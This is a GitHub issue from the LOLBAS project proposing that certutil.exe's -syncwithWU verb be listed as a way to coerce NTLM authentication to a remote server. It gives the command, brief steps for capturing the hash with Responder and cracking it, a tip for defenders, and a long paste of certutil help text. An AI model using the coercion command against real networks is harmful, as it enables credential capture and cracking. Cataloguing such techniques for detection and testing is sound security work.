

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Search

Sign in

Sign up

LOLBAS-Project / LOLBAS

Public

Notifications

Fork 991

Star 7.1k

<> Code

Issues

20

Pull requests

20

Actions

Projects

Security

Insights

Update certutil with "new" functionality #243

New issue

Closed

ConsciousHacker opened this issue on Aug 18, 2022 · 3 comments




ConsciousHacker

commented on Aug 18, 2022

Member

```
certutil.exe -syncwithWU \\ip_responderserver\CRL
```

NTLM auth coercion to remote server



ConsciousHacker

added 

enhancement

existing entry query

 labels on Aug 18, 2022



ghost

commented on Aug 18, 2022 · edited by ghost

Steps to reproduce to validate

```
1. Start Responder say 10.1.1.1
2. From target, execute certutil.exe -syncwithWU \\10.1.1.1.\CRL
3. confirm trigger , brute for crack.
```

Someone should confirm that triggers crackable material. Its been a while. So double check me :)



ghost

commented on Aug 18, 2022 · edited by ghost

Defenders should simply build a baseline of certutil.exe. I've attached some of the variation of commands.

```
Verbs:
-dump                -- Dump configuration information or file
-dumpPFX             -- Dump PFX structure
-asn                 -- Parse ASN.1 file

-decodehex           -- Decode hexadecimal-encoded file
-decode              -- Decode Base64-encoded file
-encode              -- Encode file to Base64

-deny                -- Deny pending request
-resubmit            -- Resubmit pending request
-setattributes       -- Set attributes for pending request
-setextension        -- Set extension for pending request
-revoke              -- Revoke Certificate
-isvalid             -- Display current certificate disposition

-getconfig           -- Get default configuration string
-ping                -- Ping Active Directory Certificate Services Request interfa
-pingadmin           -- Ping Active Directory Certificate Services Admin interface
-CAInfo              -- Display CA Information
-ca.cert             -- Retrieve the CA's certificate
-ca.chain            -- Retrieve the CA's certificate chain
-GetCRL              -- Get CRL
-CRL                 -- Publish new CRLs [or delta CRLs only]
-shutdown            -- Shutdown Active Directory Certificate Services

-installCert         -- Install Certification Authority certificate
-renewCert           -- Renew Certification Authority certificate

-schema             -- Dump Certificate Schema
```

Assignees

No one assigned

Labels

enhancement

existing entry query

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Add NTLM auth coerce technique (certutil.exe)

3 participants







Page 1 of 18

```
-view          -- Dump Certificate View
-db            -- Dump Raw Database
-deleterow     -- Delete server database row

-backup        -- Backup Active Directory Certificate Services
-backupDB      -- Backup Active Directory Certificate Services database
-backupKey     -- Backup Active Directory Certificate Services certificate a
-restore       -- Restore Active Directory Certificate Services
-restoreDB     -- Restore Active Directory Certificate Services database
-restoreKey    -- Restore Active Directory Certificate Services certificate
-importPFX     -- Import certificate and private key
-dynamicfilelist -- Display dynamic file List
-databaselocations -- Display database locations
-hashfile      -- Generate and display cryptographic hash over a file

-store         -- Dump certificate store
-enumstore     -- Enumerate certificate stores
-addstore      -- Add certificate to store
-delstore      -- Delete certificate from store
-verifystore   -- Verify certificate in store
-repairstore   -- Repair key association or update certificate properties or
-viewstore     -- Dump certificate store
-viewdelstore  -- Delete certificate from store
-UI            -- invoke CryptUI
-attest        -- Verify Key Attestation Request

-dsPublish     -- Publish certificate or CRL to Active Directory

-ADTemplate    -- Display AD templates
-Template      -- Display Enrollment Policy templates
-TemplateCAs   -- Display CAs for template
-CATemplates   -- Display templates for CA
-SetCASites    -- Manage Site Names for CAs
-enrollmentServerURL -- Display, add or delete enrollment server URLs associate
-ADCA          -- Display AD CAs
-CA            -- Display Enrollment Policy CAs
-Policy        -- Display Enrollment Policy
-PolicyCache   -- Display or delete Enrollment Policy Cache entries
-CredStore     -- Display, add or delete Credential Store entries
-InstallDefaultTemplates -- Install default certificate templates
-URLCache      -- Display or delete URL cache entries
-pulse         -- Pulse autoenrollment event or NGC task
-MachineInfo   -- Display Active Directory machine object information
-DCInfo        -- Display domain controller information
-EntInfo       -- Display enterprise information
-TCAInfo       -- Display CA information
-SCInfo        -- Display smart card information

-SCRoots       -- Manage smart card root certificates

-verifykeys    -- Verify public/private key set
-verify        -- Verify certificate, CRL or chain
-verifyCTL     -- Verify AuthRoot or Disallowed Certificates CTL
-syncWithWU    -- Sync with Windows Update
-generateSSTFromWU -- Generate SST from Windows Update
-generatePinRulesCTL -- Generate Pin Rules CTL
-downloadOcsp  -- Download OCSP Responses and Write to Directory
-generateHpkpHeader -- Generate HPKP header using certificates in specified fil
-flushCache    -- Flush specified caches in selected process, such as, lsass
-addEccCurve   -- Add ECC Curve
-deleteEccCurve -- Delete ECC Curve
-displayEccCurve -- Display ECC Curve
-sign          -- Re-sign CRL or certificate

-vroot         -- Create/delete web virtual roots and file shares
-vocsproot     -- Create/delete web virtual roots for OCSP web proxy
-addEnrollmentServer -- Add an Enrollment Server application
-deleteEnrollmentServer -- Delete an Enrollment Server application
-addPolicyServer -- Add a Policy Server application
-deletePolicyServer -- Delete a Policy Server application
-oid           -- Display ObjectId or set display name
-error         -- Display error code message text
-getreg        -- Display registry value
-setreg        -- Set registry value
-delreg        -- Delete registry value

-ImportKMS     -- Import user keys and certificates into server database for
-ImportCert    -- Import a certificate file into the database
-GetKey        -- Retrieve archived private key recovery blob, generate a re
                or recover archived keys
-RecoverKey    -- Recover archived private key
-MergePFX      -- Merge PFX files
-ConvertEPF    -- Convert PFX files to EPF file

-add-chain     -- (-AddChain) Add certificate chain
-add-pre-chain -- (-AddPrechain) Add pre-certificate chain
```

```
-get-sth          -- (-GetSTH) Get signed tree head
-get-sth-consistency -- (-GetSTHConsistency) Get signed tree head changes
-get-proof-by-hash -- (-GetProofByHash) Get proof by hash
-get-entries      -- (-GetEntries) Get entries
-get-roots        -- (-GetRoots) Get roots
-get-entry-and-proof -- (-GetEntryAndProof) Get entry and proof
-VerifyCT         -- Verify certificate SCT
-?               -- Display this usage message
```

Usage:

```
CertUtil [Options] [-dump]
CertUtil [Options] [-dump] [File]
Dump configuration information or file
  [-f] [-user] [-Silent] [-split] [-p Password] [-t Timeout]
```

```
CertUtil [Options] -dumpPFX File
Dump PFX structure
  [-f] [-Silent] [-split] [-p Password] [-csp Provider]
```

```
CertUtil [Options] -asn File [type]
Parse ASN.1 file
  type -- numeric CRYPT_STRING_* decoding type
```

```
CertUtil [Options] -decodehex InFile OutFile [type]
Decode hexadecimal-encoded file
  type -- numeric CRYPT_STRING_* encoding type
  [-f]
```

```
CertUtil [Options] -decode InFile OutFile
Decode Base64-encoded file
  [-f]
```

```
CertUtil [Options] -encode InFile OutFile
Encode file to Base64
  [-f] [-UnicodeText]
```

```
CertUtil [Options] -deny RequestId
Deny pending request
  [-config Machine\CAName]
```

```
CertUtil [Options] -resubmit RequestId
Resubmit pending request
  [-config Machine\CAName]
```

```
CertUtil [Options] -setattributes RequestId AttributeString
Set attributes for pending request
  RequestId -- numeric Request Id of pending request
  AttributeString -- Request Attribute name and value pairs
                   Names and values are colon separated.
                   Multiple name, value pairs are newline separated.
                   Example: "CertificateTemplate:User\nEMail:User@Domain.com"
                   Each "\n" sequence is converted to a newline separator.
  [-config Machine\CAName]
```

```
CertUtil [Options] -setextension RequestId ExtensionName Flags {Long | Date | S}
Set extension for pending request
  RequestId -- numeric Request Id of a pending request
  ExtensionName -- ObjectId string of the extension
  Flags -- 0 is recommended. 1 makes the extension critical,
          2 disables it, 3 does both.
          If the last parameter is numeric, it is taken as a Long.
          If it can be parsed as a date, it is taken as a Date.
          If it starts with '@', the rest of the token is the filename containing binar
          Anything else is taken as a String.
  [-config Machine\CAName]
```

```
CertUtil [Options] -revoke SerialNumber [Reason]
Revoke Certificate
  SerialNumber -- Comma separated list of certificate serial numbers to revoke
  Reason -- numeric or symbolic revocation reason:
           0: CRL_REASON_UNSPECIFIED -- Unspecified (default)
           1: CRL_REASON_KEY_COMPROMISE -- Key Compromise
           2: CRL_REASON_CA_COMPROMISE -- CA Compromise
           3: CRL_REASON_AFFILIATION_CHANGED -- Affiliation Changed
           4: CRL_REASON_SUPERSEDED -- Superseded
           5: CRL_REASON_CESSATION_OF_OPERATION -- Cessation of Operation
           6: CRL_REASON_CERTIFICATE_HOLD -- Certificate Hold
           8: CRL_REASON_REMOVE_FROM_CRL -- Remove From CRL
           9: CRL_REASON_PRIVILEGE_WITHDRAWN -- Privilege Withdrawn
          10: CRL_REASON_AA_COMPROMISE -- AA Compromise
          -1: Unrevoke -- Unrevoke
  [-config Machine\CAName]
```

```
CertUtil [Options] -isvalid SerialNumber | CertHash
Display current certificate disposition
  [-config Machine\CAName]
```

```
CertUtil [Options] -getconfig
Get default configuration string
[-config Machine\CAName]

CertUtil [Options] -ping [MaxSecondsToWait | CAMachineList]
Ping Active Directory Certificate Services Request interface
CAMachineList -- Comma-separated CA machine name list
                For a single machine, use a terminating comma
                Displays the site cost for each CA machine
[-config Machine\CAName] [-Anonymous] [-Kerberos] [-ClientCertificate ClientC
Modifiers:
    SCEP
    CES
    CEP

CertUtil [Options] -pingadmin
Ping Active Directory Certificate Services Admin interface
[-config Machine\CAName]

CertUtil [Options] -CAInfo [InfoName [Index | ErrorCode]]
Display CA Information
    InfoName -- indicates the CA property to display (see below)
                Use "*" for all properties
    Index -- optional zero-based property index
    ErrorCode -- numeric error code
[-f] [-split] [-config Machine\CAName]

InfoName argument syntax:
    file -- File version
    product -- Product version
    exitcount -- Exit module count
    exit [Index] -- Exit module description
    policy -- Policy module description
    name -- CA name
    sanitizedname -- Sanitized CA name
    dsname -- Sanitized CA short name (DS name)
    sharedfolder -- Shared folder
    error1 ErrorCode -- Error message text
    error2 ErrorCode -- Error message text and error code
    type -- CA type
    info -- CA info
    parent -- Parent CA
    certcount -- CA cert count
    xchgcount -- CA exchange cert count
    kracount -- KRA cert count
    kraused -- KRA cert used count
    propidmax -- Maximum CA PropId
    certstate [Index] -- CA cert
    certversion [Index] -- CA cert version
    certstatuscode [Index] -- CA cert verify status
    crlstate [Index] -- CRL
    krastate [Index] -- KRA cert
    crossstate+ [Index] -- Forward cross cert
    crossstate- [Index] -- Backward cross cert
    cert [Index] -- CA cert
    certchain [Index] -- CA cert chain
    certcrlchain [Index] -- CA cert chain with CRLs
    xchg [Index] -- CA exchange cert
    xchgchain [Index] -- CA exchange cert chain
    xhgcrchain [Index] -- CA exchange cert chain with CRLs
    kra [Index] -- KRA cert
    cross+ [Index] -- Forward cross cert
    cross- [Index] -- Backward cross cert
    CRL [Index] -- Base CRL
    deltacr [Index] -- Delta CRL
    crlstatus [Index] -- CRL Publish Status
    deltacrstatus [Index] -- Delta CRL Publish Status
    dns -- DNS Name
    role -- Role Separation
    ads -- Advanced Server
    templates -- Templates
    oosp [Index] -- OOSP URLs
    aia [Index] -- AIA URLs
    cdp [Index] -- CDP URLs
    localename -- CA locale name
    subjecttemplateoids -- Subject Template OIDs

CertUtil [Options] -ca.cert OutCACertFile [Index]
Retrieve the CA's certificate
    OutCACertFile -- output file
    Index -- CA certificate renewal index (defaults to most recent)
[-f] [-split] [-config Machine\CAName]

CertUtil [Options] -ca.chain OutCACertChainFile [Index]
Retrieve the CA's certificate chain
```

```
OutCACertChainFile -- output file
Index -- CA certificate renewal index (defaults to most recent)
[-f] [-split] [-config Machine\CAName]

CertUtil [Options] -GetCRL OutFile [Index] [delta]
Get CRL
  Index -- CRL index or key index (defaults to CRL for newest key)
  delta -- delta CRL (default is base CRL)
  [-f] [-split] [-config Machine\CAName]

CertUtil [Options] -CRL [dd:hh | republish] [delta]
Publish new CRLs [or delta CRLs only]
  dd:hh -- new CRL validity period in days and hours
  republish -- republish most recent CRLs
  delta -- delta CRLs only (default is base and delta CRLs)
  [-split] [-config Machine\CAName]

CertUtil [Options] -shutdown
Shutdown Active Directory Certificate Services
  [-config Machine\CAName]

CertUtil [Options] -installCert [CACertFile]
Install Certification Authority certificate
  [-f] [-Silent] [-config Machine\CAName]

CertUtil [Options] -renewCert [ReuseKeys] [Machine\ParentCAName]
Renew Certification Authority certificate
  Use -f to ignore an outstanding renewal request, and generate a new request.
  [-f] [-Silent] [-config Machine\CAName]

CertUtil [Options] -schema [Ext | Attrib | CRL]
Dump Certificate Schema
  Defaults to Request and Certificate table
  Ext -- Extension table
  Attrib -- Attribute table
  CRL -- CRL table
  [-split] [-config Machine\CAName]

CertUtil [Options] -view [Queue | Log | LogFail | Revoked | Ext | Attrib | CRL]
Dump Certificate View
  Queue -- Request queue
  Log -- Issued or revoked certificates, plus failed requests
  LogFail -- Failed requests
  Revoked -- Revoked certificates
  Ext -- Extension table
  Attrib -- Attribute table
  CRL -- CRL table
  csv -- Output as Comma Separated Values

  To display the StatusCode column for all entries:
    -out StatusCode
  To display all columns for the last entry:
    -restrict "RequestId==$"
  To display RequestId and Disposition for three requests:
    -restrict "RequestId>=37,RequestId<40" -out "RequestId,Disposition"

  To display Row Ids and CRL Numbers for all Base CRLs:
    -restrict "CRLMinBase=0" -out "CRLRowId,CRLNumber" CRL
  To display Base CRL Number 3:
    -v -restrict "CRLMinBase=0,CRLNumber=3" -out "CRLRawCRL" CRL
  To display the entire CRL table:
    CRL
  Use "Date[+|-dd:hh]" for date restrictions
  Use "now+dd:hh" for a date relative to the current time
  [-Silent] [-split] [-config Machine\CAName] [-restrict RestrictionList] [-out

CertUtil [Options] -db
Dump Raw Database
  [-config Machine\CAName] [-restrict RestrictionList] [-out ColumnList]

CertUtil [Options] -deleterow RowId | Date [Request | Cert | Ext | Attrib | CRL]
Delete server database row
  Request -- Failed and pending requests (submission date)
  Cert -- Expired and revoked certificates (expiration date)
  Ext -- Extension table
  Attrib -- Attribute table
  CRL -- CRL table (expiration date)

  To delete failed and pending requests submitted by January 22, 2001:
    1/22/2001 Request
  To delete all certificates that expired by January 22, 2001:
    1/22/2001 Cert
  To delete the certificate row, attributes and extensions for RequestId 37:
    37
  To delete CRLs that expired by January 22, 2001:
    1/22/2001 CRL
```

```
[-f] [-config Machine\CAName]

CertUtil [Options] -backup BackupDirectory [Incremental] [KeepLog]
Backup Active Directory Certificate Services
  BackupDirectory -- directory to store backed up data
  Incremental -- perform incremental backup only (default is full backup)
  KeepLog -- preserve database log files (default is to truncate log files)
  [-f] [-config Machine\CAName] [-p Password] [-ProtectTo SAMNameAndSIDList]

CertUtil [Options] -backupDB BackupDirectory [Incremental] [KeepLog]
Backup Active Directory Certificate Services database
  BackupDirectory -- directory to store backed up database files
  Incremental -- perform incremental backup only (default is full backup)
  KeepLog -- preserve database log files (default is to truncate log files)
  [-f] [-config Machine\CAName]

CertUtil [Options] -backupKey BackupDirectory
Backup Active Directory Certificate Services certificate and private key
  BackupDirectory -- directory to store backed up PFX file
  [-f] [-config Machine\CAName] [-p Password] [-ProtectTo SAMNameAndSIDList] [-

CertUtil [Options] -restore BackupDirectory
Restore Active Directory Certificate Services
  BackupDirectory -- directory containing data to be restored
  [-f] [-config Machine\CAName] [-p Password]

CertUtil [Options] -restoreDB BackupDirectory
Restore Active Directory Certificate Services database
  BackupDirectory -- directory containing database files to be restored
  [-f] [-config Machine\CAName]

CertUtil [Options] -restoreKey BackupDirectory | PFXFile
Restore Active Directory Certificate Services certificate and private key
  BackupDirectory -- directory containing PFX file to be restored
  PFXFile -- PFX file to be restored
  [-f] [-config Machine\CAName] [-p Password]

CertUtil [Options] -importPFX [CertificateStoreName] PFXFile [Modifiers]
Import certificate and private key
  CertificateStoreName -- Certificate store name. See -store.
  PFXFile -- PFX file to be imported
  Modifiers -- Comma separated list of one or more of the following:
    AT_SIGNATURE -- Change the KeySpec to Signature
    AT_KEYEXCHANGE -- Change the KeySpec to Key Exchange
    NoExport -- Make the private key non-exportable
    NoCert -- Do not import the certificate
    NoChain -- Do not import the certificate chain
    NoRoot -- Do not import the root certificate
    Protect -- Protect keys with password
    NoProtect -- Do not password protect keys
Defaults to personal machine store.
[-f] [-Enterprise] [-user] [-GroupPolicy] [-Silent] [-p Password] [-csp Provi
Modifiers:
  NoExport
  ExportEncrypted
  NoCert
  NoChain -- End Entity certificate only
  NoRoot -- Exclude root certificate
  NoProtect
  Protect
  ProtectHigh
  Pkcs8
  AT_SIGNATURE
  AT_KEYEXCHANGE
  FriendlyName=
  KeyFriendlyName=
  KeyDescription=
  VSM

CertUtil [Options] -dynamicfilelist
Display dynamic file List
  [-config Machine\CAName]

CertUtil [Options] -databaselocations
Display database locations
  [-config Machine\CAName]

CertUtil [Options] -hashfile InFile [HashAlgorithm]
Generate and display cryptographic hash over a file

CertUtil [Options] -store [CertificateStoreName [CertId [OutputFile]]]
Dump certificate store
  CertificateStoreName -- Certificate store name. Examples:
    "My", "CA" (default), "Root",

    "ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Servi
```

```
"ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Service

"ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Se

"ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=
ldap: (AD machine object certificates)
-user ldap: (AD user object certificates)

CertId -- Certificate or CRL match token. This can be a serial number,
an SHA-1 certificate, CRL, CTL or public key hash,
a numeric cert index (0, 1, etc.),
a numeric CRL index (.0, .1, etc.),
a numeric CTL index (.0, .1, etc.),
a public key, signature or extension ObjectId,
a certificate subject Common Name,
an e-mail address, UPN or DNS name,
a key container name or CSP name,
a template name or ObjectId,
an EKU or Application Policies ObjectId,
or a CRL issuer Common Name.
Many of the above may result in multiple matches.

OutputFile -- file to save matching cert
Use -user to access a user store instead of a machine store.
Use -enterprise to access a machine enterprise store.
Use -service to access a machine service store.
Use -grouppolicy to access a machine group policy store.

Examples:
-enterprise NTAuth
-enterprise Root 37
-user My 26e0aaaf000000000004
CA .11
[-f] [-Enterprise] [-user] [-GroupPolicy] [-Silent] [-split] [-dc DCName]

CertUtil [Options] -enumstore [\\MachineName]
Enumerate certificate stores
MachineName -- remote machine name.
[-Enterprise] [-user] [-GroupPolicy]

CertUtil [Options] -addstore CertificateStoreName InFile
Add certificate to store
CertificateStoreName -- Certificate store name. See -store.
InFile -- Certificate or CRL file to add to store.
[-f] [-Enterprise] [-user] [-GroupPolicy] [-dc DCName]
Modifiers:
Certs
CRLs
CTLs
Root
NoRoot

CertUtil [Options] -delstore CertificateStoreName CertId
Delete certificate from store
CertificateStoreName -- Certificate store name. See -store.
CertId -- Certificate or CRL match token. See -store.
[-f] [-Enterprise] [-user] [-GroupPolicy] [-Silent] [-dc DCName]

CertUtil [Options] -verifystore CertificateStoreName [CertId]
Verify certificate in store
CertificateStoreName -- Certificate store name. See -store.
CertId -- Certificate or CRL match token. See -store.
[-Enterprise] [-user] [-GroupPolicy] [-Silent] [-split] [-dc DCName] [-t Time]

CertUtil [Options] -repairstore CertificateStoreName CertIdList [PropertyInfFile]
Repair key association or update certificate properties or key security description
CertificateStoreName -- Certificate store name. See -store.
CertIdList -- comma separated list of Certificate or CRL match tokens.
See -store's CertId description.
PropertyInfFile -- INF file containing external properties:
[Properties]
19 = Empty ; Add archived property, OR:
19 = ; Remove archived property

11 = "{text}Friendly Name" ; Add friendly name property

127 = "{hex}" ; Add custom hexadecimal property
_continue_ = "00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f"
_continue_ = "10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f"

2 = "{text}" ; Add Key Provider Information property
_continue_ = "Container=Container Name&"
_continue_ = "Provider=Microsoft Strong Cryptographic Provider&"
_continue_ = "ProviderType=1&"
_continue_ = "Flags=0&"
_continue_ = "KeySpec=2"
```

```

    9 = "{text}" ; Add Enhanced Key Usage property
    _continue_ = "1.3.6.1.5.5.7.3.2,"
    _continue_ = "1.3.6.1.5.5.7.3.1,"
[-f] [-Enterprise] [-user] [-GroupPolicy] [-Silent] [-split] [-csp Provider]

CertUtil [Options] -viewstore [CertificateStoreName [CertId [OutputFile]]]
Dump certificate store
CertificateStoreName -- Certificate store name.  Examples:
    "My", "CA" (default), "Root",

    "ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Servi

    "ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Service

    "ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Se

    "ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=
ldap: (AD machine object certificates)
-user ldap: (AD user object certificates)

CertId -- Certificate or CRL match token.  This can be a serial number,
    an SHA-1 certificate, CRL, CTL or public key hash,
    a numeric cert index (0, 1, etc.),
    a numeric CRL index (.0, .1, etc.),
    a numeric CTL index (..0, ..1, etc.),
    a public key, signature or extension ObjectId,
    a certificate subject Common Name,
    an e-mail address, UPN or DNS name,
    a key container name or CSP name,
    a template name or ObjectId,
    an EKU or Application Policies ObjectId,
    or a CRL issuer Common Name.
    Many of the above may result in multiple matches.
OutputFile -- file to save matching cert
Use -user to access a user store instead of a machine store.
Use -enterprise to access a machine enterprise store.
Use -service to access a machine service store.
Use -grouppolicy to access a machine group policy store.

Examples:
-enterprise NTAuth
-enterprise Root 37
-user My 26e0aaaf000000000004
CA .11
[-f] [-Enterprise] [-user] [-GroupPolicy] [-dc DCName]

CertUtil [Options] -viewdelstore [CertificateStoreName [CertId [OutputFile]]]
Delete certificate from store
CertificateStoreName -- Certificate store name.  Examples:
    "My", "CA" (default), "Root",

    "ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Servi

    "ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Service

    "ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Se

    "ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=
ldap: (AD machine object certificates)
-user ldap: (AD user object certificates)

CertId -- Certificate or CRL match token.  This can be a serial number,
    an SHA-1 certificate, CRL, CTL or public key hash,
    a numeric cert index (0, 1, etc.),
    a numeric CRL index (.0, .1, etc.),
    a numeric CTL index (..0, ..1, etc.),
    a public key, signature or extension ObjectId,
    a certificate subject Common Name,
    an e-mail address, UPN or DNS name,
    a key container name or CSP name,
    a template name or ObjectId,
    an EKU or Application Policies ObjectId,
    or a CRL issuer Common Name.
    Many of the above may result in multiple matches.
OutputFile -- file to save matching cert
Use -user to access a user store instead of a machine store.
Use -enterprise to access a machine enterprise store.
Use -service to access a machine service store.
Use -grouppolicy to access a machine group policy store.

Examples:
-enterprise NTAuth
-enterprise Root 37
-user My 26e0aaaf000000000004
CA .11
```



```
[-f] [-Enterprise] [-user] [-GroupPolicy] [-dc DCName]

CertUtil [Options] -UI File [import]
invoke CryptUI

CertUtil [Options] -attest RequestFile
Verify Key Attestation Request
    [-user] [-Silent] [-split]

CertUtil [Options] -dsPublish CertFile [NTAuthCA | RootCA | SubCA | CrossCA | K
CertUtil [Options] -dsPublish CRLFile [DSCDPContainer [DSCDPCN]]
Publish certificate or CRL to Active Directory
    CertFile -- certificate file to publish
    NTAuthCA -- Publish cert to DS Enterprise store
    RootCA -- Publish cert to DS Trusted Root store
    SubCA -- Publish CA cert to DS CA object
    CrossCA -- Publish cross cert to DS CA object
    KRA -- Publish cert to DS Key Recovery Agent object
    User -- Publish cert to User DS object
    Machine -- Publish cert to Machine DS object
    CRLFile -- CRL file to publish
    DSCDPContainer -- DS CDP container CN, usually the CA machine name
    DSCDPCN -- DS CDP object CN, usually based on the sanitized CA short name and
    Use -f to create DS object.
[-f] [-user] [-dc DCName]

CertUtil [Options] -ADTemplate [Template]
Display AD templates
    [-f] [-user] [-ut] [-mt] [-dc DCName]

CertUtil [Options] -Template [Template]
Display Enrollment Policy templates
    [-f] [-user] [-Silent] [-PolicyServer URLOrId] [-Anonymous] [-Kerberos][Cli

CertUtil [Options] -TemplateCAs Template
Display CAs for template
    [-f] [-user] [-dc DCName]

CertUtil [Options] -CATemplates [Template]
Display templates for CA
    [-f] [-user] [-ut] [-mt] [-config Machine\CAName] [-dc DCName]

CertUtil [Options] -SetCASites [set] [SiteName]
CertUtil [Options] -SetCASites verify [SiteName]
CertUtil [Options] -SetCASites delete
Manage Site Names for CAs
    Set, Verify or Delete CA site names
        Use the -config option to target a single CA (Default is all CAs)
        SiteName is allowed only when targeting a single CA
        Use -f to override validation errors for the specified SiteName
        Use -f to delete all CA site names
    [-f] [-config Machine\CAName] [-dc DCName]

CertUtil [Options] -enrollmentServerURL [URL AuthenticationType [Priority] [Mod
CertUtil [Options] -enrollmentServerURL URL delete
Display, add or delete enrollment server URLs associated with a CA
    AuthenticationType -- Specify one of the following client authentication meth
        Kerberos -- Use Kerberos SSL credentials
        UserName -- Use named account for SSL credentials
        ClientCertificate -- Use X.509 Certificate SSL credentials
        Anonymous -- Use anonymous SSL credentials.
    delete -- deletes the specified URL associated with the CA.
    Priority -- defaults to '1' if not specified when adding a URL.
    Modifiers -- Comma separated list of one or more of the following:
        AllowRenewalsOnly -- Only renewal requests can be submitted to this
            CA via this URL
        AllowKeyBasedRenewal -- Allows use of a certificate that has no
            associated account in the AD. This applies only with
            ClientCertificate and AllowRenewalsOnly Mode.
    [-config Machine\CAName] [-dc DCName]

CertUtil [Options] -ADCA [CAName]
Display AD CAs
    [-f] [-split] [-dc DCName]

CertUtil [Options] -CA [CAName | TemplateName]
Display Enrollment Policy CAs
    [-f] [-user] [-Silent] [-split] [-PolicyServer URLOrId] [-Anonymous] [-Kerber

CertUtil [Options] -Policy
Display Enrollment Policy
    [-f] [-user] [-Silent] [-split] [-PolicyServer URLOrId] [-Anonymous] [-Kerber

CertUtil [Options] -PolicyCache [delete]
Display or delete Enrollment Policy Cache entries
    delete -- delete Policy Server cache entries
```

```
-f -- use -f to delete all cache entries.
[-f] [-user] [-PolicyServer URLOrId]

CertUtil [Options] -CredStore [URL]
CertUtil [Options] -CredStore URL add
CertUtil [Options] -CredStore URL delete
Display, add or delete Credential Store entries
  URL -- target URL.  Use * to match all entries
        Use https://machine* to match a URL prefix
  add -- add a Credential Store entry
        SSL credentials must also be specified
  delete -- delete Credential Store entries
-f -- use -f to overwrite an entry or to delete multiple entries.
[-f] [-user] [-Silent] [-Anonymous] [-Kerberos] [-ClientCertificate ClientCer

CertUtil [Options] -InstallDefaultTemplates
Install default certificate templates
  [-dc DCName]

CertUtil [Options] -URLCache [URL | CRL | * [delete]]
Display or delete URL cache entries
  URL -- cached URL
  CRL -- operate on all cached CRL URLs only
  * -- operate on all cached URLs
  delete -- delete relevant URLs from the current user's local cache
  Use -f to force fetching a specific URL and updating the cache.
[-f] [-split]

CertUtil [Options] -pulse [TaskName [SRKThumbprint]]
Pulse autoenrollment event or NGC task
  TaskName -- task to trigger
        Pregen -- NGC Key Pregen task
        AIKENroll -- NGC AIK certificate enrollment task.
        defaults to autoenrollment event.
  SRKThumbprint -- Thumbprint of Storage Root Key
[-user]
Modifiers:
  Pregen
  PregenDelay
  AIKENroll
  CryptoPolicy
  NgcPregenKey
  DIMSRoam

CertUtil [Options] -MachineInfo DomainName\MachineName$
Display Active Directory machine object information

CertUtil [Options] -DCInfo [Domain] [Verify | DeleteBad | DeleteAll]
Display domain controller information
  Default is to display DC certificates without verification
[-f] [-user] [-urlfetch] [-dc DCName] [-t Timeout]
Modifiers:
  Verify
  DeleteBad
  DeleteAll

CertUtil [Options] -EntInfo DomainName\MachineName$
Display enterprise information
[-f] [-user]

CertUtil [Options] -TCAInfo [DomainDN | -]
Display CA information
[-f] [-Enterprise] [-user] [-urlfetch] [-dc DCName] [-t Timeout]

CertUtil [Options] -SCInfo [ReaderName [CRYPT_DELETEKEYSET]]
Display smart card information
  CRYPT_DELETEKEYSET -- Delete all keys on the smart card
[-Silent] [-split] [-urlfetch] [-t Timeout]

CertUtil [Options] -SCRoots update [+][InputRootFile] [ReaderName]
CertUtil [Options] -SCRoots save @OutputRootFile [ReaderName]
CertUtil [Options] -SCRoots view [InputRootFile | ReaderName]
CertUtil [Options] -SCRoots delete [ReaderName]
Manage smart card root certificates
[-f] [-split] [-p Password]

CertUtil [Options] -verifykeys [KeyContainerName CACertFile]
Verify public/private key set
  KeyContainerName -- key container name of the key to verify
        Defaults to machine keys.  Use -user for user keys
  CACertFile -- signing or encryption certificate file
  If no arguments are specified, each signing CA cert is verified against its
        private key.
  This operation can only be performed against a local CA or local keys.
[-f] [-user] [-Silent] [-config Machine\CAName]
```

```
CertUtil [Options] -verify CertFile [ApplicationPolicyList | - [IssuancePolicyL
CertUtil [Options] -verify CertFile [CACertFile [CrossedCACertFile]]
CertUtil [Options] -verify CRLFile CACertFile [IssuedCertFile]
CertUtil [Options] -verify CRLFile CACertFile [DeltaCRLFile]
Verify certificate, CRL or chain
  CertFile -- Certificate to verify
  ApplicationPolicyList -- optional comma separated list of required
    Application Policy ObjectIds
  IssuancePolicyList -- optional comma separated list of required Issuance
    Policy ObjectIds

  CACertFile -- optional issuing CA certificate to verify against
  CrossedCACertFile -- optional certificate cross-certified by CertFile

  CRLFile -- CRL to verify
  IssuedCertFile -- optional issued certificate covered by CRLFile
  DeltaCRLFile -- optional delta CRL

  If ApplicationPolicyList is specified, chain building is restricted to
    chains valid for the specified Application Policies.
  If IssuancePolicyList is specified, chain building is restricted to chains
    valid for the specified Issuance Policies.

  If CACertFile is specified, fields in CACertFile are verified against
    CertFile or CRLFile.
  If CACertFile is not specified, CertFile is used to build and verify a full
    chain.
  If CACertFile and CrossedCACertFile are both specified, fields in
    CACertFile and CrossedCACertFile are verified against CertFile.

  If IssuedCertFile is specified, fields in IssuedCertFile are verified
    against CRLFile.
  If DeltaCRLFile is specified, fields in DeltaCRLFile are verified against
    CRLFile.
[-f] [-Enterprise] [-user] [-Silent] [-split] [-urlfetch] [-t Timeout] [-sslp
Modifiers:
  Strong -- Strong signature verification
  MSRoot -- Must chain to a Microsoft root
  MSTestRoot -- Must chain to a Microsoft test root
  AppRoot -- Must chain to a Microsoft application root
  EV -- Enforce Extended Validation Policy

CertUtil [Options] -verifyCTL CTLObject [CertDir] [CertFile]
Verify AuthRoot or Disallowed Certificates CTL
  CTLObject -- Identifies the CTL to verify:
    AuthRootWU -- read AuthRoot CAB and matching certificates from the URL
